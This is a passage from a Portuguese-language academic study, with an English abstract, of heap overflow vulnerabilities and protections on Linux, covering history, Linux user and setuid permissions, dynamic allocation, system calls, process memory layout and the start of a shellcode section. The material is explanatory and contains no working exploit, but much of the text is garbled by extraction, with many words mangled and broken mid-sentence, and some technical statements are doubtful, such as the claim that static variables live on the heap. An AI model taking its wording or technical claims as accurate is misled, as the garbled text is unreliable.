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RESUMO

Este trabalho tem por objetivo o estudo da vulrikdalle Heap Overflow, também
chamada de Heap Overrun, e das medidas de progel@iadas para impedir esta
vulnerabilidade. Devido o funcionamento do Heap rfdew ser altamente dependente
do hardware e do sistema operacional, este estddoado na arquitetura i386 e no
sistema operacional Linux/Unix.

Inicialmente s&o vistos conceitos iniciais impomanpara o entendimento desta
vulnerabilidade, como conceitos sobre Heap Overflsobre o sistema Linux, sobre
processos e a estrutura de um processo na mensoiaeShellcodes.

Apoés isto, sdo descritos os dois grupos de atadeddeap Overflow: o primeiro
grupo consiste em alterar conteudo de blocos atpeela memaéria Heap e o segundo
grupo consiste em alteragdo das informacdes dexgjaneento da memoéria Heap. E
dada uma maior énfase no estudo do segundo grapoda um estudo do alocador de
memoéria dindmica do Linux e a descricdo da expfwaio Heap Overflow usando a
macro unlink().

Também sao descritas medidas de protecdo impledaentie modo a evitar o Heap
Overflow como modificacbes implementadas nas versdais atuais da biblioteca
Glibc, mecanismos de hardware e software, impleagées no compilador e no
sistema operacional, uso de programas auxiliacegdados que o programador deve ter
para evitar a vulnerabilidade.

Por fim, é descrita de forma mais resumida a estiuda memoria Heap do Sistema
Operacional Windows e a maneira que € exploradalreerabilidade Heap Overflow
neste sistema, comparando com o0s conceitos estudamddorma mais detalhada no
sistema operacional Linux. E verificado que dewvads conceitos de implementacéo da
memoria Heap terem tido muitas semelhancas, a nalliidade ocorre de forma
semelhante no sistema Windows, da mesma forma gogeoem outros sistemas
operacionais que utilizam os mesmos conceitos.

Palavras-Chave:Heap Overflow, Estouro de Heap, vulnerabilidadeyl&x



Study of Heap Overflow
vulnerability and protective measures

ABSTRACT

This work aims to study the Heap Overflow vulnelihialso called Heap Overrun,
and the protective measures taken to prevent thiekability. Because the operation of
the Heap Overflow is highly dependent on the hardwand operating system, this
study focuses on the i386 architecture and op@ratystem Linux / Unix.

Initially are seen important basic concepts for ersthnding the operation of this
vulnerability, as concepts about Heap Overflow, ubthe Linux system, about
processes and the structure of a process in meanmodrabout Shellcodes.

After this, the two groups of Heap Overflow attaeke described: the first group is
that changes the contents of adjacent blocks opHeamory and the second group
consist in alteration of the information managenwrteap memory. Greater emphasis
is given to the study of the second group by aystidhe dynamic memory allocator of
Linux and the description of the exploit of Heape@iow using the macro unlink().

It also describes protective measures implememtgutevent the Heap Overflow as
changes implemented in the most updated versiorSlibt library, mechanisms of
hardware and software, implementations in the ctan@ind in the operating system,
use of auxiliary programs and care that the dewloghould take to avoid the
vulnerability.

Finally, the structure of the Heap memory of thentiws OS is described more
shortly, as well as how the vulnerability is expdoi in this system, in comparison to the
concepts studied in more detail in the Linux opegaBystem. It is found that, due to
the concepts of implementation of Heap memory havany similarities, the
vulnerability occurs similarly in the Windows systein the same way as occurs in
other operating systems that use the same concepts.

Keywords: Heap Overflow. Heap Overrun, Buffer Overflow, Eoipl vulnerability.
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1 INTRODUCAO

Desde que a alocacdo dindmica de memoria foi imgiiésnla, devido a este tipo de
alocacdo algumas linguagens de programacdo namlesam a quantidade de dados
armazenados em cada variavel da memoria Heap, @odeabrescrever dados
adjacentes, individuos mal intencionados procurataar algum proveito desta
caracteristica em programas vulneraveis. Em 2001lgr esigner, especialista em
seguranca da Russia, fez a primeira divulgacdocesofimo a alteracdo dos dados de
controle da memoria Heap poderia ser usada pateotanma execucao de um programa
vulneravel. Desta época em diante, cresceu 0 nudesataques do tipo Heap Overflow
e isto gerou a implantacdo de rotinas de segurahgmplementacdo destas rotinas
representou um novo desafio aos individuos malna®@ados que por sua vez
descobriram novas vulnerabilidades, que geraram asiovotinas, e assim
subsequentemente.

Dessa forma, o objetivo deste trabalho é fazer stmde do Heap Overflow, das
causas e das consequéncias, das implementacfegularga que foram criadas e dos
procedimentos que o0s programadores e usuarios deeguoir com o objetivo de
diminuir os riscos desta vulnerabilidade.

Este estudo, devido ao funcionamento do Heap @wvedker altamente dependente
do hardware e do sistema operacional, serd focadarquitetura i386 e no sistema
operacional Linux/Unix, por ser um sistema de codaperto e ter mais literatura
disponivel. Apos isto, serd mostrada de forma messmida a vulnerabilidade Heap
Overflow no sistema operacional Windows, comparacmo 0 estudo realizado sobre
o sistema Linux. Com isto, sera verificado que ar@ncia desta vulnerabilidade em
outros sistemas operacionais possui muitas siohddds, devido a estes sistemas
utilizarem os mesmo conceitos de implementacaoatadria Heap.
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2 CONCEITOS INICIAIS

Nesta secdo serdo dados conceitos iniciais nemesgaara o entendimento do
trabalho. Estes conceitos estdo divididos em qusggbes que sao Heap Overflow,
Sistema Unix, Estrutura de um processo na memd@lzedicodes.

2.1 Heap Overflow

Heap é uma regido de memodria reservada pelo sistgraeacional para cada
processo armazenar os dados referentes a vardleemsdas dinamicamente, ou seja,
durante a execugao.

Existem duas razdes principais para alocar mendariante a execucao que sao:

- N&o é possivel prever durante a compilacdo qaalaatidade de blocos que serdo
necessarios e o tamanho de cada bloco.

- Alocacgdo dindmica possibilita a liberacdo da mgenque ndo € mais necessaria
ao uso.

Um exemplo de alocagdo de memodria dindmica nadiggon de programacdo com
0 uso das fungdes malloc() e free() € demonstradixa

char *var; // cria um ponteiro com 0 nome “var’ pa ra uma
variavel do tipo “char” (caractere)

var = (char *) malloc (100 * sizeof (char)); // Cr ia um
bloco de tamanho 100 characteres (char) na memdria Heap e
armazena o endereco do inicio deste bloco no pontei ro “var”.

free(var); // Informa ao sistema operacional que o bloco
apontado pelo ponteiro “var” estd sendo liberado pe la aplicacéo

por n&o ser mais necessario.

Outras funcdes de alocacdo dinamica como, por drengalloc e realloc
normalmente sao implementadas tendo como basag®kimalloc e free.

A area de memoria Heap aloca blocos de memodriaitaolos dinamicamente por
um aplicativo durante a execucdo. Nao devemos ndnficom a alocagcdo que os
sistemas operacionais fazem ao nivel de kernelafda de Heap também €& onde
normalmente sao alocadas as variaveis estaticaig)st
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2.1.1 Conceito de Heap Overflow

Heap Overflow ou estouro de Heap (também chamadsmpHOverrun”) é uma
anomalia (falha) em um programa que ao gravar dadosma regido Heap (pilha de
alocacao dinamica), ocorre a superacao do limiteskrva e a substituicdo da memoéria
adjacente. Uma rotina € vulneravel a exploracédaseopia os dados para o buffer sem
antes verificar se os dados de origem irdo cabeestno.

Heap Overflow e Stack Overflow sdo consideradosstige Buffer Overflow (ou
Buffer Overrun), sendo que enquanto o Heap ocaareegidao de memaoria Heap, o
Stack Overflow ocorre na regido de stack (pilha).

No exemplo da se¢édo 2.1, o Heap Overflow ocorrguando fosse gravada na
porcao apontada pelo ponteiro “var’ alguma inforédmagom tamanho maior que “100
* char”. Nesta situagdo, seriam sobrescritas pesigiljacentes a por¢cédo reservada.

As linguagens C e C++ sdo exemplos de linguagensraframacdo comumente
associadas com estouros de Heap, pois néo fornaceetdao embutida contra o acesso
ou substituicio de dados em qualquer parte da neeradéndo fazem a verificacao
automética dos dados gravados em uma alocagéoidmam

2.1.2 Consequéncias do Heap Overflow

Heaps Overflows podem ser gerados acidentalmentanigu a execucdo do
programa ou podem ser provocados por um usuariinteaicionado.

A ocorréncia do Heap Overflow pode resultar em wmmortamento erratico do
programa como erros de acesso de memoria, corrugeddados, execucdo com
resultados incorretos, uma falha ou violacao dersega do sistema, sendo, portanto, a
base de muitas vulnerabilidades de software. Quasti ocorréncia € provocada por
usuarios mal intencionados geralmente é com oivbjee executar um determinado
codigo ou alterar a forma como o programa funciona.

2.1.3 Historico do Heap Overflow

Vejamos um breve histérico de alguns incidentescrehados a estouro de buffer. O
mais famoso incidente de seguranca relacionaddoaresde buffer ocorreu em 1988
por Robert Tappan Morris que desenvolveu um Wogoe se auto-propagava e em
questdes de horas, infectou diversos sistemasrawieie na Internet, aproximadamente
6000 maquinas Unix, 10% da Internet da época. B&iam explorava uma falha de
estouro de buffer (pilha) no Fingérém conjunto com rotinas de debugging do

! Worm (verme em Portugués) é um programa autoeaptk projetado para executar aces maliciosas
apos infestar um sistema. Ele se diferencia deydou ndo precisar de um programa hospedeiro para s
propagar (WIKIPEDIA, 2011-c).

2 Fingerd: Protocolo e comando do Unix destinadbtardnformacdes de usuérios de maquinas remotas
(WOODS, 2006).
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Sendmail e relacdes de confianca em maquinas que usavamndos Rshe Rlogirt
(JANSEN, 1995).

Apos este incidente, outros artigos de estouroutierbdo tipo “estouro de pilha”
surgiram e posteriormente foram utilizados commnest de propagacdo em Worms
como, por exemplo, o Worm Code Red (2001) quezatikh uma vulnerabilidade de
estouro de pilha existente em servidores WEB 189% 4 da Microsoft para se auto-
propagar pela rede.

Apesar das vulnerabilidades de estouro de Heapireris ha algum tempo,
comecaram a serem estudadas pelos hackers emarapssnecanismos de protecéo de
estouro de pilha (BLACKNGEL, 2009).

No inicio, o estouro de Heap era utilizado aperaaa plterar posicoes adjacentes do
buffer estourado na memaria. Porém em julho 200@r®esigner (Alexander Peslyak
- especialista em seguranca da Russia) (WIKIPEXA]1-a) demonstrou que o
estouro de Heap poderia ser usado para altera@ve#ide controle da area de Heap, e
isto poderia ser utilizado para alterar uma posdgionemoria e, desta forma, controlar
a execucgao de um programa.

A partir desta publicacdo, o Heap Overflow pass@erautilizado para exploragcéo
de vulnerabilidades em softwares, como, por exemysia vulnerabilidade encontrada
na biblioteca OpenS3Slutilizada pelo ApacHel.3.

2.2 Sistema Linux

Como ja foi citado, neste trabalho sera dada mafasé ao estudo do Heap
Overflow no sistema operacional Linux. Provavelreestmaioria das vulnerabilidades
relatadas de Heap Overflow ocorreram neste sistgaeacional pelo fato dele ser de
codigo aberto. Porém, os conceitos estudados psistemna Linux podem ser aplicados
ao sistema Unix do qual o Linux foi derivado e #&r@si sistemas derivados do sistema
Unix.

Uma das caracteristicas do gerenciamento da ardaajeé que seu funcionamento
varia de acordo com o sistema operacional. Inaysisto é citado com uma das
dificuldades no estudo do Heap Overflow, pois, aseu entendimento, é necessario
compreender a maneira que o alocador de memo@mdtia do sistema operacional em
estudo trabalha. Porém, como existem muitas semggdhaom a estrutura de memaria
Heap usada no Linux e de outros sistemas operagjonaitos dos conceitos estudados
aqui podem ser Uteis para o estudo da vulnerabididastes outros sistemas.

% Sendmail: Programa de gerenciamento e entregardsaeletronico de codigo aberto.
* RSH: Programa do Unix utilizado para executar @ogs remotamente.
® Rlogin: Programa do Linux utilizado para fazeritogm uma maquina remota.

® OpenSSL: Implementacdo escrita em Linguagem Cdédiige aberto dos protocolos SSL ( Secure
Sockets Layer: Protocolo de Camada de Sockets &egurLS (Transport Layer Security: protocolo de
seguranca na camada de transporte) que implemerg@es basicas de criptografia.

" Apache: Software livre para servidor WEB.
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2.2.1 Consideracdes iniciais

A maior parte dos servidores da Internet (servelate web, sqgl e ftp), estédo
rodando sobre arquitetura Linux, por isso a impmitado conhecimento deste sistema
operacional.

O conhecimento que aqui sera descrito sera paraandge que modo usuarios mal
intencionados utilizam a falha Heap Overflow nouxnadicionando usuarios e, deste
modo, abrindo portas para um posterior acesso.e ewdirias outras acdes que
dependendo do conhecimento destes usuarios ds&maj serdo quase infindaveis. A
distribuicdo Linux que aqui sera utilizada para destracdo sera o Ubuntu, que € um
sistema operacional derivado do Debian.

Por ser uma das bases de seguranca no Linux, ia segufeito um estudo de como
funciona o seu sistema de controle de usuarios.

2.2.2 Grupos e usuarios no Linux

Um dos maiores objetivos de usuarios mal-intencdosaisarem o Heap Overflow
para invadir um programa, € controlar a execuca@bederograma de modo que ele
execute comandos pré-determinados (como por exemgioonar seu usuario como
administrador). Porém, o tipo de comando executigg@nde do sistema de permissdes
do sistema operacional ao qual ele esta sendo texiecu

Para isto, procuram ter um conhecimento de comamtosShell do sistema
operacional que ele esta operando, e, se o sistagraatacado for o Linux, seu objetivo
sera ter permissdes de root (administrador).

Por isso, neste topico iremos ver de forma benchasimo funciona o sistema de
permissdes no sistema Linux, que é um sistemausuério.

Em um sistema multiusuéario, cada usuario possuesjpaco privado na maquina, e
0 sistema operacional deve garantir que esse espgguisivel apenas para o seu dono,
ou seja, ele deve assegurar que nenhum outro oq@ssa explorar uma aplicacao do
sistema com o propdésito de violar o espaco privoutro usuario (BOVET, 2001).

Qualquer sistema operacional Linux possui um usuéspecial chamado root,
superuser ou supervisor. O administrador de sistigwa conectar-se como root para
gerenciar as contas de usuario, realizar tarefagndeutencdo como backups e
atualizacdes de programas, entre outras. O ustarigpode fazer quase tudo, j4 que o
sistema operacional ndo aplica as restricbes cometes. Mais especificamente, o root
pode acessar qualquer arquivo no sistema e paoeléemt com a atividade de qualquer
programa de usuario em execucao (BOVET, 2001).

2.2.2.1User ID e Group ID

Todos os usuarios sado identificados por um Unieonand chamado User ID, ou UID
(identificador de usuario). Cada usuario possui login (nome de usuario) e sua
respectiva senha. Se o usuario nao fornecer unuronge usuario e senha validos, o
sistema nega o0 acesso. Supondo que a senha ésecq@ivacidade do usuario é
garantida.
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Para compartilhar material com outros usuariosa agiario € membro de um ou
mais grupos, os quais sao identificados por umoimicnero chamado de Group ID, ou
GID e cada arquivo € associado a um unico grupoefamplo, 0 acesso a um arquivo
pode ser configurado de tal maneira a permitir @yoeoprietario possua permissao de
leitura e escrita, 0 grupo possua permissao apmdaitura, e os demais ndo tenham
permissao algum@LECRIM, 2010).

Para ver o UID de usuarios digite o comando 'iusk do nome de usuario ou
apenas 'id' para ver o UID do usuario corrente.

Exemplo:

julio@part:-$ id

uid=1000(julio) gid=1000(julio) grupos=4(adm), 20(d ialout),
24(cdrom), 46(plugdev), 106(Ipadmin), 121(admin),

122(sambashare), 1000(Julio)

O usuario acima esta logado como usuéario julio,ll@&ué 1000 e seu GID é 1000.
O UID e o GID de um usuério sao frequentementdivados pelo Kernel (Nucleo do
sistema) a cada operacdo que um determinado usiiZeio Caso ele ndo tenha
permissao para fazer aquela operacéo, o sisterasarn®gECcucao.

O UID '0' equivale a usuario “root” no Linux e same este usuario pode adicionar
usuarios no sistema. Assim, quando um usuario agiefonar outro usuario, o kernel
verifica qual € o 'UID' do usuario que emitiu o @mo. (Por exemplo, adduser -
Comando p/ adicionar usuérios ao sistema). Seeglficar que o UID é igual a zero,
ele ird deixar o usuario ser cadastrado nos argueto/passwd e /etc/shadow (arquivos
gue gravam dados dos usuarios, como senhas efittres). Se o UID do usuéario
emissor do comando adduser nao for '0', simplesr@nisuario emissor do comando
recebe um aviso de permisséo negada.

2.2.2.2 Executando como Sudo

Revisando, sera usado o comando “id” para vermopeasiissdes do usuario
corrente.

#id

uid=1000(julio) gid=1000(julio) grupos=4(adm), 20(d ialout),
24(cdrom), 46(plugdev), 106(Ipadmin), 122(sambashar e),
1000(julio)

O usuario acima “julio” ndo consegue setar o sé&pnu “UID”. Porém, ele pode
executar comandos com permissdes de outro usugropsecisar estar logado nesta
conta, digitando o parametro '-c' do comando “Biste parametro executa um comando
com permissdes de outro usuario e depois retorngw@rio que chamou o comando.

Exemplo:
$ su root -c "comando”

Password:

Caso um usuario queira se logar com qualquer owdrda, basta digitar “su
outra_conta”. Se ele digitar apenas “su”, o Lina wferir que o ele quer se logar
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como root. Para fazer logout de uma conta acessawmiao “su” basta que digite o
comando “exit” para voltar ao usuario original.

2.2.2.3 Permissdes do arquivo

Nos sistemas Unix/Linux para cada arquivo existarmgssdes para o dono do
arquivo (criador), grupo ao qual pertence o doncadpivo e para outros usuarios,
sendo que estas permissfes podem ser

r = read (leitura)

w = write (escrita)

X = execute (execugao)

O comando Is -l (long) faz uma listagem completgpdemissées de um arquivo,
conforme exemplo abaixo:

$ Is -l progl

-rw-r--r-- 1 root julio 645 2011-06-29 17:03 progl

Neste caso, -rw-r--r-- (110100100) indica que @adwor tem permissdo de leitura e

escrita, o grupo a qual pertence o dono do arqi@mo permissao de leitura e outros
usuarios tém permisséo de leitura.

O comando “chmod” serve para alterar permissdeanpsvos (programas). Se for
executado o comando “chmod +s”, o arquivo (prog)asesid executado como super
usuario.

Desta forma, utilizando o comando:

$ sudo chmod u+s progl

$ Is -l progl

-rwSr--r-- 1 root julio 645 2011-06-29 17:03 progl

O dono do programa acima (progl) é o usuario jlara marcar o bit suid (super
usuario ID) sobre esse arquivo foi utilizado o codwsudo, que possibilita a execugéo
de comandos como super usuario, pois apenas usw@m 'UID 0' podem emitir o
comando chmod com o parametro +s. O que foi f@itma foi setar a configuracéo de
progl para executar comandos como usuario rootpenisar estar logado com tal
usuario.

Neste caso, -rwSr--r--(111100100) indica que odcrigem permissao de leitura e
escrita e 0 arquivo sera executado como usuartq$)po grupo a qual pertence o dono
do arquivo tem permisséao de leitura e outros ugsid@m permissao de leitura.

Como o atributo “S” que representa o setuid est@ada, este programa estara com
permissdes do usuario root. Assim, ao ser execytade efetuar tarefas restritas ao
usuario root, como, por exemplo, adicionar usuamsistema.
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2.2.2.4 Conclusdes sobre permissdes de arquivos

Usuarios mal intencionados (hackers) normalmensanvi arquivos com “setuid
root” (ID de execucédo igual a 0). Assim, apdés sacea computadores eles fazem uma
busca com o comando “find” por estes arquivos.

Tomemos como exemplo uma aplicacao vulneravel @ @e&rflow e que tem o ID
de execucdo (EUID) igual a '0'. Isso significa quaele ser possivel explorar esta
aplicacdo usando este programa para executar cosandsistema com os privilégios
de usuério root. Este procedimento sera demonstnaiadiante.

2.2.3 Viséo global sobre alocacéo dindmica e a utilizac&te Static

Nesta secdo serdo descritos conceitos gerais coim@ndos de alocacao dinamica e
funcionamento da alocacdo de memoria na area dedrizeieap. Embora seja dada
uma rapida visao sobre alocacéo de variaveis dostgtic, devido elas serem alocadas
também na area de memdria Heap, este estudo sent@mé nas variaveis alocadas
dinamicamente.

Alocacao dindmica de memoria significa alocar/nesmememoria para determinadas
constantes que sdo passadas pelo usuéario do peogharante a execucdao de um
programa. A principal funcdo de alocacdo utilizgoda linguagem C é a funcéo
'malloc()’, a qual serad exemplificada a seguir.

Vejamos uma declaracéo tradicional de ponteirapmto'thar':
char *pointer;

No comando acima foi criado um ponteiro do tiporchda linha abaixo sera
alocada dinamicamente uma variavel com nome “pdinle tamanho suficiente (size
of() ) para armazenar 5 caracteres na memoériag§.ch

pointer = (char *)malloc (sizeof (char) * 5);

Como estéa sendo utilizado um ponteiro do tipo “tharinformacdes gravadas nesta
variavel, ao serem consultadas, serdo convertidasaeacteres (char).

Na alocacao acima, em “pointer” sera armazenadadereco virtual que apontara
para o primeiro dos cinco bytes alocados, que saratazenados em sequéncia
(enderecos virtuais).

Quando é usada a “linguagem c” e “ponteiros”, gmmador é que é responsavel
por controlar a gravacdo de dados nas areas akdatEmicamente e pela liberagcéao
destas areas quando nao houver mais necessidade.

Ao ser utilizada a funcéo “free(pointer)”, o sisteme gerenciamento da memoria
Heap através do ponteiro fornecido “pointer”, viedfque esta area de memoria é do
tamanho de (5*char), e libera esta area.

As funcéo calloc() funciona com base na funcdo ou@ll porém inicializa o
intervalo alocado com zeros. Ja a funcao reall®@e para alterar o tamanho da area
alocada (aumentando ou diminuindo). Caso a fungdiloc() necessite uma area maior
de memodria, ela irh mudar a area alocada para mgi@ de memoria, retornando um
novo valor de alocacgao.

Com relacéo ao static (variaveis estaticas), o odima
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static char buffer[10];

ird alocar 10 bytes na area de memoéria Heap, @oigveis do tipo “static” sdo
armazenadas nessa regiao.

2.2.4 Syscalls - Chamadas de sistema

A seguir serdo dados conceitos basicos sobre &y¢Chlamadas de sistema). Estes
conceitos sdo importantes porque elas sao utikzada Shellcodes descritos e pela
Libc, que é a biblioteca que executa as chamadaisidena do Linux.

Chamada de sistema (System Call) € o mecanismoo yseld programa para
requisitar um servico do sistema operacional, ois ragpecificamente, do nacleo do
sistema operacional.

Os processadores modernos podem executar instrucoegliéerentes privilégios.
Em sistemas com dois niveis de privilégio, elesct@mados de modo usuario e modo
protegido. Os sistemas operacionais disponibilizifierentes niveis de privilégio que
restringem as operacdes executadas pelos progrguoastazdes de seguranca e
estabilidade. Dentre estas operacfes podem seridosl o acesso a dispositivos de
hardware, habilitar e desabilitar interrupcbes derar o modo de privilégio do
processador. O nucleo deve ser executado no motiegmo e as aplicagdes em modo
USUario.

Com o desenvolvimento de modos de operacédo separenim niveis variados de
privilégio, foi necesséaria a criacdo de um mecaajsdenominado de Chamadas de
Sistema, com a finalidade transferir seguramenteomtrole de modos de menor
privilégio para modos de maior privilégio. O codigom menor privilégio ndo pode
simplesmente transferir o controle para cédigo ocwawor privilégio em qualquer ponto
do cbdigo e em qualquer estado do processador.itRPeassa transferéncia pode
ocasionar a quebra da seguranca do sistema, potaem codigo a ser executado de
forma incorreta.

As chamadas de sistema frequentemente utilizam instaicdo especial que faz
com que a CPU transfira o controle para cédigo d®mnprivilégio, como especificado
previamente, pelo cédigo de menor privilégio. Ipgrmite que o codigo de maior
privilégio indique por onde ele serd chamado e,itdjportante quanto, o estado do
processador no momento da chamada.

Quando a chamada de sistema é invocada, 0 proggueaa invocou €
interrompido, a informacdo necessaria para contiruaua execucdo é salva e o
processador inicia a execucdo do codigo de maimilgmio. Quando a chamada
termina o controle retorna para o programa, o estaglviamente salvo é restaurado e o
programa continua a sua execugao.

Em muitos casos, o retorno de fato para o prograé@oaé imediato. Se a chamada
de sistema realiza qualquer tipo de operacéo dadarisaida mais demorada, um acesso
ao disco ou rede, o programa pode ser suspensm(dado") e retirado da fila de
programas "prontos para execugao" até que a operaghine, e o sistema operacional
0 eleja novamente como um candidato para execugéo.
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2.3 Estrutura de um processo na memoria

2.3.1 Processos

Todos os sistemas operacionais utilizam uma aldstragndamental: o processo.
Um processo pode ser definido como "uma instaneiard programa em execugao” ou
como "um contexto de execu¢ao” de um programa molaNos sistemas operacionais
tradicionais, um processo executa uma sequéncimsiricées em um espaco de
enderecamento. O espa¢o de enderecamento é ummtcodgi enderecos de memdria
gue 0 processo possui permissao de acessar.

Os sistemas multiusuarios devem fornecer um anieet execu¢cdo no qual
diversos processos podem estar ativos concorrentene utilizando recursos do
sistema, principalmente a CPU. Sistemas que pearmmpecessos concorrentes sao
conhecidos como multiprogramados ou multiprocessado

Em sistemas uniprocessados, apenas um process@fadem execucao na CPU.
Um sistema operacional possui um componente chaescidonador, que define qual
processo sera executado. Alguns sistemas operacmraitem apenas processos nao-
preemptivo§ que quer dizer que o escalonador apenas é chamuaticlo o processo
que estava em execucgdo voluntariamente libera a GRS processos de um sistema
multiusuario devem ser preemptivos, com o sisteordralando quanto tempo cada
processo utiliza a CPU, e deve ativar o escalonpddpdicamente. O Linux € um
sistema operacional multiusuario com processosmpteos (BOVET, 2001).

Sistemas operacionais Unix adotam o modelo profiessel. Cada processo tem a
ilusdo de que é o Unico processo na maquina e ¢ess@ exclusivo aos servigos do
sistema operacional. Quando um processo realizacharaada de sistema, isto €, uma
chamada para o kernel, o hardware muda o modo el®igko de modo usuario para
modo kernel, e 0 processo inicia a execucdo doedmmento com um propdsito
ligeiramente limitado. Dessa maneira, o sistemaampenal atua dentro do contexto de
execucao do processo para satisfazer o seu p&lidmdo a requisicdo for satisfeita, o
kernel forca o hardware a retornar para modo USUAr0 processo continua a sua
execucao a partir da instrugdo apos a chamadatdensi (BOVET, 2001).

2.3.2 Memobria Virtual

A memoria virtual consiste em recursos de hardwageftevarecom trés funcdes
bésicas: (TANENBAUM, 1999).

- Realocacadgou recolocacao), para assegurar que cada pro@dsacao) tenha o
seu proprio espaco de enderecamento, comecanderem z

- Protecao, para impedir que um processo utilizeendereco de memaria que nao
lhe pertenga;

8 Um escalonamento de processo é dito preemptive@ sEocesso em execucdo puder perder o
processador para outro processo por algum motieongid seja o término de seu ciclo de processador
(interrupcéo de estrada/saida ou politica de esaalento adotada). Se o processo sé libera o peatm@ss
por vontade prépria, o escalonamento é dito nderppévo (OLIVEIRA, 2008).
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- Paginacadpaging) outroca (swapping), que possibilita a uma aplicacdo utiliza
mais memoria do que a fisicamente existente.

Simplificadamente, um usuario ou programador véaspaco de enderecamento
virtual, que pode ser igual, maior ou menor que @mdria fisica (normalmente
chamada memodria DRAM Dynamic Random Access Memory) (TANENBAUM,
1999). Assim, como a memodria virtual utiliza o distgido (que normalmente tem uma
capacidade muito maior do que a memoédria RAM do atagor) diminuiu a
preocupacdo do programador em relagcdo a quantdadeemodria que o programa ird
consumir e se o0 respectivo programa poderia ramlarautros sem travar.

A memoria virtual foi criada inicialmente para pibfgar que um programa fosse
executado em um computador com uma quantidade a@naeprincipal (fisica) menor
que o espaco total de memdria utilizado pelo podprograma, ou seja, 0 espaco
ocupado pelas instru¢cbes, dados e pilha de exede@mn programa pode ser maior
que o espaco em memoria principal disponivel. Rem@lo, um programa que ocupa
um total de 64 MB pode ser executado em um computadm apenas 32 MB
disponiveis para o programa, bastando que o sistgraeacional se encarregue de
manter sempre na memoria principal as partes adagquaexecucao naguele momento.

Em arquiteturas de 32 bits, por exemplo, cada geazc@o momento da execucgao
possui uma faixa de enderecos virtuais que vax@@@O0000 em direcdo a Oxffffffff.
Estes enderecos ndo representam diretamente oeeadfisico, sendo que, cada
endereco virtual € mapeado para a memdria fisicanomento da execucdo do
processo. Em arquiteturas de 32 bits o limite méxda memoria virtual para cada
processo € de 2GB (Giga bytes).

J& o armazenamento das varidveis fisicamente nadrieemao é feito de forma
sequencial. Isso se deve ao fato de uma memdéria RRddom Access Memory -
Memodria de Acesso Aleatdrio), como sugere o prépome, escrever em qualquer
endereco de memodria disponivel para alocacao deafateatéria. Isto também ocorre
devido a esta memoéria ndo ter exatamente o mesmanked da memoria fisica e
também por ela ser compartihada com 0s outrosepsos € com 0O Sistema
operacional.

Dessa forma, mais de uma variavel pode estar amadaeno mesmo endereco
virtual. Apesar de um programa normalmente ndo eotitipar sua memoaria virtual
com outro, pode haver excecoes.

Computadores modernos de uso genérico utilizam memdétual para executar
aplicacdes como processadores de texto, planjigss, navegadores, etc.

Na figura a seguir temos um desenho que repreaentanaria virtual:
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Aplicagio visualiza realidad

Usado por outro programa

N Va
\ i Usado por outro

A programa

Memoria virtual Hard disk

Figura 2.1: Memoria virtual — Fonte: (PHILCHA, 200

2.3.3 Modelo de memodria virtual do sistema Linux/Unix

Nesta secdo sera feito um breve estudo sobre @ueatdo modelo de memoaria
virtual do sistema Linux.

Na figura abaixo se pode ver um layout de memdéisso para processos.

= OxFFFFFFff
Pilha: Stack

Heap

Dados inicializados com zero: BSS

Dados inicializados: Data

Codigo: text

—> 0x00000000

Figura 2.2 - Mapa da memaria de um processo

Como ja foi citado, um processo € um programa eetug®ao. Estar em execucéo
significa que o sistema operacional carregou o gagel do programa em memoaria,
providenciou para que ele tenha acesso aos argosngassados por linha de comando
e o iniciou.
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Um processo é dividido na memadria em cinco areasnths (ROBBINS, 2004)
descritas a sequir:

- Cddigo (Text): essa é a area onde se encontram as instrucoagame®. Essa
area é organizada de tal maneira que diversosiasud mesmo programa possam
dividir a mesma area de codigo, apenas uma c@aeafem memoria. Ela é tipicamente
marcada como apenas de leitura, e qualquer temt@d¢iwescrever sobre ela gera um erro
de segmentacéo;

- Dados inicializados (Data):varidveis globais e estéticas inicializadas cotorea
diferentes de zero situam-se no segmento de dades¢ uma area unica para cada
processo em execucao;

- Dados inicializados com zeros (BSSyariaveis globais e estaticas inicializadas
com zero por default sdo alocadas na area conhgoiddSS, que também € Unica para
cada instancia de um programa em execucdo. BSShédmano segmento de dados
quando um programa inicia a sua execuc¢do. Linux/@norganizado de tal maneira
que apenas variaveis que sao inicializadas pamregldiferentes de zero ocupem
espaco na memoria.

- Heap: é a area usada para alocacdo dinamica de memaages do uso de
funcdes como malloc() e similares. O espaco de regdmento reservado para o
processo cresce “para cima”, pois cada item adicilomo Heap sera acrescido em um
endereco de memaria superior aos que foram adubisn@nteriormente;

A area de memoaria Heap também armazena as vargstaiicas (static).

- Pilha (stack): é a area onde se encontram as variaveis locgsodoama (aquelas
definidas dentro do escopo de uma funcéo). Aqub&amse encontram parametros de
funcdo e 0 seu endereco de retorno para quem aochaBssa memobria €
automaticamente liberada ao término da funcdo. e das arquiteturas, a pilha
cresce “para baixo”, pois cada item adicionado aeréscido em enderecos de memaoria
inferiores aos que foram adicionados anteriormente;

Analisando a figura 2.2, pode-se perceber queha @lo Heap crescem na direcao
oposta ao outro. O stack grava dados a partir dorneadereco (Oxffffffff) para o
menor (0x00000000) e a Heap cresce no sentido @pastendere¢cos menores para 0s
maiores. Teoricamente seria possivel que essas doeads de memoria se
sobrescrevessem, porém o sistema operacional ingpedil fato ocorra. As diferentes
areas de memoria normalmente tém diferentes pdiesisde acesso configuradas para
elas. Por exemplo, é tipico marcar a area de cdémhgo uma permissao de “somente
execucao”, e desmarcar tal permissao nas areaghdeepdados. Esta pratica pode até
mesmo prevenir alguns tipos de ataques de seguROEBBINS, 2004).

No caso do Unix, a tentativa de gravar dados atmcdthamicamente em uma faixa
de endereco que ndo é destinada & memoria Heapcasionar uma mensagem
“segment fault”, e o programa sera abortado.
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2.4 Shellcodes

Para o entendimento da exploracdo de Heap Ovedéserita como exemplo neste
trabalho, é importante o conhecimento de concdifsicos sobre Shellcodes. Porém,
devido nédo ser o foco deste trabalho, ndo serd et estudo muito profundo deste
assunto. Caso o leitor queira se aprofundar, rexdaise ler a bibliografia sobre este
tema.

2.4.1 Conceitos iniciais sobre Shellcodes

Shellcode é um trecho de cbdigo destinado a seiteescem seguida executado
dentro do espaco de memdria de um programa vulklesapartir de uma falha que
permita ao atacante obter o controle sobre o filxexecucdo do mesmo (Oliveira,
2011). O objetivo dos primeiros “Shellcodes” erairatom “shell’(chamar o /bin/sh), e
dai vem a origem do nome. Hoje em dia, existem|&juds que fazem muito mais do
que isso, alguns criam tlneis revefsasitros tém até interface gréfica. Embora alguns
autores modernos chamem o Shellcode de “Payloatiird4” do Exploit), neste
trabalho continuara sendo usado o termo “Shellcode”

Devido o Shellcode idealmente ter que ser o maikepgendente possivel de
interpretadores, frameworks, maquinas virtuais, @t deve ser escrito usando apenas
componentes basicos do sistema como registradostsjcdes nativas do processador
